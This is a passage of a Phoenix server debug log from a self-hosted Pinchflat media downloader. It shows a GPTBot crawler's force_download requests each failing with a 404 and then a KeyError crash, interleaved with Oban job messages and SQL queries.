"accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239474.0>, params: %{}, path_info: ["sources", "3", "media", "3296", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, (truncated) 02:23:43.809 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.250 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:24:13.811 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:28.910 [info] GET /sources/3/media/3297/force_download 02:24:28.911 [debug] QUERY OK source="settings" db=0.3ms idle=1431.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:24:28.911 [debug] QUERY OK source="settings" db=0.2ms idle=1432.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:24:28.911 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:24:28.912 [error] #PID<0.239481.0> running PinchflatWeb.Endpoint (connection #PID<0.239480.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3297/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3297/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239480.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3297/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 47304}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239481.0>, params: %{}, path_info: ["sources", "3", "media", "3297", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/3/media/3297/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAe77rbm-gomCYABaaD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239480.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3297/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 47304}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3297/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239480.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3297/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 47304}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239481.0>, params: %{}, path_info: ["sources", "3", "media", "3297", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, (truncated) 02:24:43.813 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.251 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:25:13.815 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:32.822 [info] GET /sources/3/media/3313/force_download 02:25:32.823 [debug] QUERY OK source="settings" db=0.2ms idle=1343.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:25:32.823 [debug] QUERY OK source="settings" db=0.2ms idle=1344.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:25:32.823 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:25:32.824 [error] #PID<0.239489.0> running PinchflatWeb.Endpoint (connection #PID<0.239488.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3313/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3313/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239488.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3313/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60716}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239489.0>, params: %{}, path_info: ["sources", "3", "media", "3313", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/3/media/3313/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAe_pxQgtETnlEAJDnB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239488.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3313/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60716}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3313/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239488.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3313/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60716}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239489.0>, params: %{}, path_info: ["sources", "3", "media", "3313", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, (truncated) 02:25:43.817 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.252 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:26:13.819 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:35.665 [info] GET /sources/3/media/3300/force_download 02:26:35.666 [debug] QUERY OK source="settings" db=0.3ms idle=911.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:26:35.667 [debug] QUERY OK source="settings" db=0.2ms idle=187.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:26:35.667 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:26:35.667 [error] #PID<0.239496.0> running PinchflatWeb.Endpoint (connection #PID<0.239495.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3300/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3300/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239495.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3300/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40038}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239496.0>, params: %{}, path_info: ["sources", "3", "media", "3300", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/3/media/3300/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAfDT4S63lj6OkABaeD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239495.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3300/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40038}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3300/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239495.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3300/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40038}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239496.0>, params: %{}, path_info: ["sources", "3", "media", "3300", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, (truncated) 02:26:43.821 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.253 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:27:13.823 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:38.738 [info] GET /sources/new 02:27:38.738 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "2"} Pipelines: [:browser] 02:27:38.739 [debug] QUERY OK source="sources" db=0.4ms idle=1259.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 02:27:38.739 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1260.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 02:27:38.740 [debug] QUERY OK source="settings" db=0.2ms idle=1260.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:27:38.741 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1261.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:27:38.742 [debug] QUERY OK source="settings" db=0.3ms idle=856.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:27:38.743 [debug] QUERY OK source="settings" db=0.3ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:27:38.744 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:27:38.749 [info] Sent 200 in 11ms 02:27:43.825 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.254 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:28:13.827 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:39.885 [info] GET /sources/new 02:28:39.886 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "5"} Pipelines: [:browser] 02:28:39.887 [debug] QUERY OK source="sources" db=0.5ms idle=1407.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", 